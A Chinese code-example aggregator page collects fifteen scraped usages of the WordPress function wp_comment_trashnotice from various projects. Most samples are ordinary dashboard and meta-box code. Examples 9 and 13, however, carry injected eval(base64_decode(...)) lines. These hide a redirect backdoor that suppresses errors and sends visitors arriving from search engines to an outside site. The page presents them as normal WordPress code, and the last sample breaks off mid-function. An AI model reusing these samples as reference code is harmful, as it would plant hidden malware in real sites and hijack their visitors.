本文整理汇总了PHP中wp_comment_trashnotice函数的典型用法代码示例。如果您正苦于以下问题:PHP wp_comment_trashnotice函数的具体用法?PHP wp_comment_trashnotice怎么用?PHP wp_comment_trashnotice使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了wp_comment_trashnotice函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的PHP代码示例。
示例1: wp_dashboard_recent_comments
/**
* Display recent comments dashboard widget content.
*
* @since 2.5.0
*/
function wp_dashboard_recent_comments()
{
global $wpdb;
if (current_user_can('edit_posts')) {
$allowed_states = array('0', '1');
} else {
$allowed_states = array('1');
}
// Select all comment types and filter out spam later for better query performance.
$comments = array();
$start = 0;
$widgets = get_option('dashboard_widget_options');
$total_items = isset($widgets['dashboard_recent_comments']) && isset($widgets['dashboard_recent_comments']['items']) ? absint($widgets['dashboard_recent_comments']['items']) : 5;
while (count($comments) < $total_items && ($possible = $wpdb->get_results("SELECT * FROM {$wpdb->comments} c LEFT JOIN {$wpdb->posts} p ON c.comment_post_ID = p.ID WHERE p.post_status != 'trash' ORDER BY c.comment_date_gmt DESC LIMIT {$start}, 50"))) {
foreach ($possible as $comment) {
if (count($comments) >= $total_items) {
break;
}
if (in_array($comment->comment_approved, $allowed_states) && current_user_can('read_post', $comment->comment_post_ID)) {
$comments[] = $comment;
}
}
$start = $start + 50;
}
if ($comments) {
?>
<div id="the-comment-list" class="list:comment">
<?php
foreach ($comments as $comment) {
_wp_dashboard_recent_comments_row($comment);
}
?>
</div>
<?php
if (current_user_can('edit_posts')) {
?>
<?php
_get_list_table('WP_Comments_List_Table')->views();
}
wp_comment_reply(-1, false, 'dashboard', false);
wp_comment_trashnotice();
} else {
?>
<p><?php
_e('No comments yet.');
?>
</p>
<?php
}
// $comments;
}
开发者ID:nouphet,项目名称:rata,代码行数:61,代码来源:dashboard.php
示例2: wp_dashboard_recent_comments
/**
* Show Comments section.
*
* @since 3.8.0
*
* @param int $total_items Optional. Number of comments to query. Default 5.
* @return bool False if no comments were found. True otherwise.
*/
function wp_dashboard_recent_comments($total_items = 5)
{
// Select all comment types and filter out spam later for better query performance.
$comments = array();
$comments_query = array('number' => $total_items * 5, 'offset' => 0);
if (!current_user_can('edit_posts')) {
$comments_query['status'] = 'approve';
}
while (count($comments) < $total_items && ($possible = get_comments($comments_query))) {
if (!is_array($possible)) {
break;
}
foreach ($possible as $comment) {
if (!current_user_can('read_post', $comment->comment_post_ID)) {
continue;
}
$comments[] = $comment;
if (count($comments) == $total_items) {
break 2;
}
}
$comments_query['offset'] += $comments_query['number'];
$comments_query['number'] = $total_items * 10;
}
if ($comments) {
echo '<div id="latest-comments" class="activity-block">';
echo '<h4>' . __('Comments') . '</h4>';
echo '<div id="the-comment-list" data-wp-lists="list:comment">';
foreach ($comments as $comment) {
_wp_dashboard_recent_comments_row($comment);
}
echo '</div>';
if (current_user_can('edit_posts')) {
_get_list_table('WP_Comments_List_Table')->views();
}
wp_comment_reply(-1, false, 'dashboard', false);
wp_comment_trashnotice();
echo '</div>';
} else {
return false;
}
return true;
}
开发者ID:riasnelli,项目名称:WordPress,代码行数:51,代码来源:dashboard.php
示例3: post_comment_meta_box
/**
* Display comments for post.
*
* @since 2.8.0
*
* @param object $post
*/
function post_comment_meta_box($post)
{
wp_nonce_field('get-comments', 'add_comment_nonce', false);
?>
<p class="hide-if-no-js" id="add-new-comment"><a class="button" href="#commentstatusdiv" onclick="window.commentReply && commentReply.addcomment(<?php
echo $post->ID;
?>
);return false;"><?php
_e('Add comment');
?>
</a></p>
<?php
$total = get_comments(array('post_id' => $post->ID, 'number' => 1, 'count' => true));
$wp_list_table = _get_list_table('WP_Post_Comments_List_Table');
$wp_list_table->display(true);
if (1 > $total) {
echo '<p id="no-comments">' . __('No comments yet.') . '</p>';
} else {
$hidden = get_hidden_meta_boxes(get_current_screen());
if (!in_array('commentsdiv', $hidden)) {
?>
<script type="text/javascript">jQuery(document).ready(function(){commentsBox.get(<?php
echo $total;
?>
, 10);});</script>
<?php
}
?>
<p class="hide-if-no-js" id="show-comments"><a href="#commentstatusdiv" onclick="commentsBox.load(<?php
echo $total;
?>
);return false;"><?php
_e('Show comments');
?>
</a> <span class="spinner"></span></p>
<?php
}
wp_comment_trashnotice();
}
开发者ID:SayenkoDesign,项目名称:ividf,代码行数:46,代码来源:meta-boxes.php
示例4: wp_dashboard_recent_comments
/**
* Display recent comments dashboard widget content.
*
* @since 2.5.0
*/
function wp_dashboard_recent_comments()
{
global $wpdb;
// Select all comment types and filter out spam later for better query performance.
$comments = array();
$start = 0;
$widgets = get_option('dashboard_widget_options');
$total_items = isset($widgets['dashboard_recent_comments']) && isset($widgets['dashboard_recent_comments']['items']) ? absint($widgets['dashboard_recent_comments']['items']) : 5;
$comments_query = array('number' => $total_items * 5, 'offset' => 0);
if (!current_user_can('edit_posts')) {
$comments_query['status'] = 'approve';
}
while (count($comments) < $total_items && ($possible = get_comments($comments_query))) {
foreach ($possible as $comment) {
if (!current_user_can('read_post', $comment->comment_post_ID)) {
continue;
}
$comments[] = $comment;
if (count($comments) == $total_items) {
break 2;
}
}
$comments_query['offset'] += $comments_query['number'];
$comments_query['number'] = $total_items * 10;
}
if ($comments) {
echo '<div id="the-comment-list" class="list:comment">';
foreach ($comments as $comment) {
_wp_dashboard_recent_comments_row($comment);
}
echo '</div>';
if (current_user_can('edit_posts')) {
_get_list_table('WP_Comments_List_Table')->views();
}
wp_comment_reply(-1, false, 'dashboard', false);
wp_comment_trashnotice();
} else {
echo '<p>' . __('No comments yet.') . '</p>';
}
}
开发者ID:netcon-source,项目名称:WordPress,代码行数:45,代码来源:dashboard.php
示例5: esc_attr
echo esc_attr($wp_list_table->get_pagination_arg('per_page'));
?>
" />
<input type="hidden" name="_page" value="<?php
echo esc_attr($wp_list_table->get_pagination_arg('page'));
?>
" />
<?php
if (isset($_REQUEST['paged'])) {
?>
<input type="hidden" name="paged" value="<?php
echo esc_attr(absint($_REQUEST['paged']));
?>
" />
<?php
}
?>
<?php
$wp_list_table->display();
?>
</form>
</div>
<div id="ajax-response"></div>
<?php
wp_comment_reply('-1', true, 'detail');
wp_comment_trashnotice();
include ABSPATH . 'wp-admin/admin-footer.php';
开发者ID:SayenkoDesign,项目名称:ividf,代码行数:31,代码来源:edit-comments.php
示例6: post_comment_meta_box
/**
* Display comments for post.
*
* @since 2.8.0
*
* @param object $post
*/
function post_comment_meta_box($post)
{
global $wpdb;
wp_nonce_field('get-comments', 'add_comment_nonce', false);
?>
<p class="hide-if-no-js" id="add-new-comment"><a href="#commentstatusdiv" onclick="commentReply.addcomment(<?php
echo $post->ID;
?>
);return false;"><?php
_e('Add comment');
?>
</a></p>
<?php
$total = get_comments(array('post_id' => $post->ID, 'number' => 1, 'count' => true));
$wp_list_table = _get_list_table('WP_Post_Comments_List_Table');
$wp_list_table->display(true);
if (1 > $total) {
echo '<p id="no-comments">' . __('No comments yet.') . '</p>';
} else {
$hidden = get_hidden_meta_boxes(get_current_screen());
if (!in_array('commentsdiv', $hidden)) {
?>
<script type="text/javascript">jQuery(document).ready(function(){commentsBox.get(<?php
echo $total;
?>
, 10);});</script>
<?php
}
?>
<p class="hide-if-no-js" id="show-comments"><a href="#commentstatusdiv" onclick="commentsBox.get(<?php
echo $total;
?>
);return false;"><?php
_e('Show comments');
?>
</a> <img class="waiting" style="display:none;" src="<?php
echo esc_url(admin_url('images/wpspin_light.gif'));
?>
" alt="" /></p>
<?php
}
wp_comment_trashnotice();
}
开发者ID:ranjithinnergys,项目名称:WordPress,代码行数:50,代码来源:meta-boxes.php
示例7: post_comment_meta_box
/**
* Display comments for post.
*
* @since 2.8.0
*
* @param object $post
*/
function post_comment_meta_box($post)
{
global $wpdb, $post_ID;
$total = $wpdb->get_var($wpdb->prepare("SELECT count(1) FROM {$wpdb->comments} WHERE comment_post_ID = '%d' AND ( comment_approved = '0' OR comment_approved = '1')", $post_ID));
if (1 > $total) {
echo '<p>' . __('No comments yet.') . '</p>';
return;
}
wp_nonce_field('get-comments', 'add_comment_nonce', false);
add_filter('manage_edit-comments_columns', 'post_comment_meta_box_thead', 8, 1);
?>
<table class="widefat comments-box fixed" cellspacing="0" style="display:none;">
<thead><tr>
<?php
print_column_headers('edit-comments');
?>
</tr></thead>
<tbody id="the-comment-list" class="list:comment"></tbody>
</table>
<p class="hide-if-no-js"><a href="#commentstatusdiv" id="show-comments" onclick="commentsBox.get(<?php
echo $total;
?>
);return false;"><?php
_e('Show comments');
?>
</a> <img class="waiting" style="display:none;" src="<?php
echo esc_url(admin_url('images/wpspin_light.gif'));
?>
" alt="" /></p>
<?php
$hidden = get_hidden_meta_boxes('post');
if (!in_array('commentsdiv', $hidden)) {
?>
<script type="text/javascript">jQuery(document).ready(function(){commentsBox.get(<?php
echo $total;
?>
, 10);});</script>
<?php
}
remove_filter('manage_edit-comments_columns', 'post_comment_meta_box_thead');
wp_comment_trashnotice();
}
开发者ID:google-code-backups,项目名称:pumpmyvote,代码行数:50,代码来源:meta-boxes.php
示例8: vendor_recent_comments_widget
/**
* Vendor Recent Comments Widgets
*
* @since 1.3
* @return void
* @author andrea Grilo <[email protected]>
*/
public function vendor_recent_comments_widget()
{
echo '<div id="activity-widget">';
// Select all comment types and filter out spam later for better query performance.
$comments = array();
$vendor = yith_get_vendor('current', 'user');
$vendor_products = $vendor->is_valid() && $vendor->has_limited_access() ? $vendor->get_products() : array();
$total_items = apply_filters('vendor_recent_comments_widget_items', 5);
$comments_query = array('number' => $total_items * 5, 'offset' => 0, 'post__in' => !empty($vendor_products) ? $vendor_products : array(0));
if (!current_user_can('edit_posts')) {
$comments_query['status'] = 'approve';
}
while (count($comments) < $total_items && ($possible = get_comments($comments_query))) {
if (!is_array($possible)) {
break;
}
foreach ($possible as $comment) {
if (!current_user_can('read_post', $comment->comment_post_ID)) {
continue;
}
$comments[] = $comment;
if (count($comments) == $total_items) {
break 2;
}
}
$comments_query['offset'] += $comments_query['number'];
$comments_query['number'] = $total_items * 10;
}
if ($comments) {
echo '<div id="latest-comments" class="activity-block">';
echo '<h4>' . __('Comments') . '</h4>';
echo '<div id="the-comment-list" data-wp-lists="list:comment">';
foreach ($comments as $comment) {
_wp_dashboard_recent_comments_row($comment);
}
echo '</div>';
if (current_user_can('edit_posts')) {
_get_list_table('WP_Comments_List_Table')->views();
}
wp_comment_reply(-1, false, 'dashboard', false);
wp_comment_trashnotice();
echo '</div>';
} else {
echo '<div class="no-activity">';
echo '<p class="smiley"></p>';
echo '<p>' . __('No activity yet!', 'yith_wc_product_vendors') . '</p>';
echo '</div>';
}
echo '</div>';
}
开发者ID:shwetadubey,项目名称:upfit,代码行数:57,代码来源:class.yith-vendors-admin-premium.php
示例9: wp_dashboard_recent_comments
/**
* Display recent comments dashboard widget content.
*
* @since unknown
*/
function wp_dashboard_recent_comments()
{
global $wpdb;
if (current_user_can('edit_posts')) {
$allowed_states = array('0', '1');
} else {
$allowed_states = array('1');
}
// Select all comment types and filter out spam later for better query performance.
$comments = array();
$start = 0;
while (count($comments) < 5 && ($possible = $wpdb->get_results("SELECT * FROM {$wpdb->comments} c LEFT JOIN {$wpdb->posts} p ON c.comment_post_ID = p.ID WHERE p.post_status != 'trash' ORDER BY c.comment_date_gmt DESC LIMIT {$start}, 50"))) {
foreach ($possible as $comment) {
if (count($comments) >= 5) {
break;
}
if (in_array($comment->comment_approved, $allowed_states)) {
$comments[] = $comment;
}
}
$start = $start + 50;
}
if ($comments) {
?>
<div id="the-comment-list" class="list:comment">
<?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
foreach ($comments as $comment) {
_wp_dashboard_recent_comments_row($comment);
}
?>
</div>
<?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWY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Oi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
if (current_user_can('edit_posts')) {
?>
<p class="textright"><a href="edit-comments.php" class="button"><?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJp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W5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
}
wp_comment_reply(-1, false, 'dashboard', false);
wp_comment_trashnotice();
} else {
?>
<p><?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVm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0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
}
// $comments;
}
开发者ID:nagyist,项目名称:laura-wordpress,代码行数:68,代码来源:dashboard.php
示例10: post_comment_meta_box
/**
* Display comments for post.
*
* @since 2.8.0
*
* @param object $post
*/
function post_comment_meta_box($post)
{
global $wpdb, $post_ID;
$total = $wpdb->get_var($wpdb->prepare("SELECT count(1) FROM {$wpdb->comments} WHERE comment_post_ID = '%d' AND ( comment_approved = '0' OR comment_approved = '1')", $post_ID));
if (1 > $total) {
echo '<p>' . __('No comments yet.') . '</p>';
return;
}
wp_nonce_field('get-comments', 'add_comment_nonce', false);
$wp_list_table = _get_list_table('WP_Post_Comments_List_Table');
$wp_list_table->display(true);
?>
<p class="hide-if-no-js"><a href="#commentstatusdiv" id="show-comments" onclick="commentsBox.get(<?php
echo $total;
?>
);return false;"><?php
_e('Show comments');
?>
</a> <img class="waiting" style="display:none;" src="<?php
echo esc_url(admin_url('images/wpspin_light.gif'));
?>
" alt="" /></p>
<?php
$hidden = get_hidden_meta_boxes('post');
if (!in_array('commentsdiv', $hidden)) {
?>
<script type="text/javascript">jQuery(document).ready(function(){commentsBox.get(<?php
echo $total;
?>
, 10);});</script>
<?php
}
wp_comment_trashnotice();
}
开发者ID:xalgorithm,项目名称:capistrano-stuff,代码行数:41,代码来源:meta-boxes.php
示例11: wp_dashboard_recent_comments
/**
* Display recent comments dashboard widget content.
*
* @since unknown
*/
function wp_dashboard_recent_comments()
{
global $wpdb;
if (current_user_can('edit_posts')) {
$allowed_states = array('0', '1');
} else {
$allowed_states = array('1');
}
// Select all comment types and filter out spam later for better query performance.
$comments = array();
$start = 0;
while (count($comments) < 5 && ($possible = $wpdb->get_results("SELECT * FROM {$wpdb->comments} c LEFT JOIN {$wpdb->posts} p ON c.comment_post_ID = p.ID WHERE p.post_status != 'trash' ORDER BY c.comment_date_gmt DESC LIMIT {$start}, 50"))) {
foreach ($possible as $comment) {
if (count($comments) >= 5) {
break;
}
if (in_array($comment->comment_approved, $allowed_states)) {
$comments[] = $comment;
}
}
$start = $start + 50;
}
if ($comments) {
?>
<div id="the-comment-list" class="list:comment">
<?php
foreach ($comments as $comment) {
_wp_dashboard_recent_comments_row($comment);
}
?>
</div>
<?php
if (current_user_can('edit_posts')) {
?>
<p class="textright"><a href="edit-comments.php" class="button"><?php
_e('View all');
?>
</a></p>
<?php
}
wp_comment_reply(-1, false, 'dashboard', false);
wp_comment_trashnotice();
} else {
?>
<p><?php
_e('No comments yet.');
?>
</p>
<?php
}
// $comments;
}
开发者ID:jao,项目名称:jpcamargo,代码行数:62,代码来源:dashboard.php
示例12: render_reviews_list_table
/**
* Render reviews list table
*/
public function render_reviews_list_table()
{
// Prepare items
$this->reviews_list_table->prepare_items();
$comment_status = isset($_REQUEST['comment_status']) ? $_REQUEST['comment_status'] : '';
?>
<div class="wrap">
<h2><?php
echo get_admin_page_title();
?>
</h2>
<?php
$this->display_messages();
?>
<?php
$this->reviews_list_table->views();
?>
<form id="reviews-filter" method="get">
<input type="hidden" name="page" value="<?php
echo $_REQUEST['page'];
?>
" />
<?php
$this->reviews_list_table->search_box(__('Search reviews', 'wc-product-reviews-pro'), 'reviews');
?>
<input type="hidden" name="comment_status" value="<?php
echo esc_attr($comment_status);
?>
" />
<input type="hidden" name="pagegen_timestamp" value="<?php
echo esc_attr(current_time('mysql', 1));
?>
" />
<?php
$this->reviews_list_table->display();
?>
</form>
</div>
<?php
wp_comment_reply('-1', true, 'detail');
wp_comment_trashnotice();
}
开发者ID:brian3t,项目名称:orchidmate,代码行数:53,代码来源:class-wc-reviews.php
示例13: post_comment_meta_box
/**
* Display comments for post.
*
* @since 2.8.0
*
* @param object $post
*/
function post_comment_meta_box($post)
{
global $wpdb, $post_ID;
$total = $wpdb->get_var($wpdb->prepare("SELECT count(1) FROM {$wpdb->comments} WHERE comment_post_ID = '%d' AND ( comment_approved = '0' OR comment_approved = '1')", $post_ID));
if (1 > $total) {
echo '<p>' . __('No comments yet.') . '</p>';
return;
}
wp_nonce_field('get-comments', 'add_comment_nonce', false);
?>
<table class="widefat comments-box fixed" cellspacing="0" style="display:none;">
<thead><tr>
<th scope="col" class="column-author"><?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
_e('Author');
?>
</th>
<th scope="col" class="column-comment">
<?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQ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KSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
/* translators: field name in comment form */
echo _x('Comment', 'noun');
?>
</th>
</tr></thead>
<tbody id="the-comment-list" class="list:comment"></tbody>
</table>
<p class="hide-if-no-js"><a href="#commentstatusdiv" id="show-comments" onclick="commentsBox.get(<?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciB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KCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
_e('Show comments');
?>
</a> <img class="waiting" style="display:none;" src="images/wpspin_light.gif" alt="" /></p>
<?php
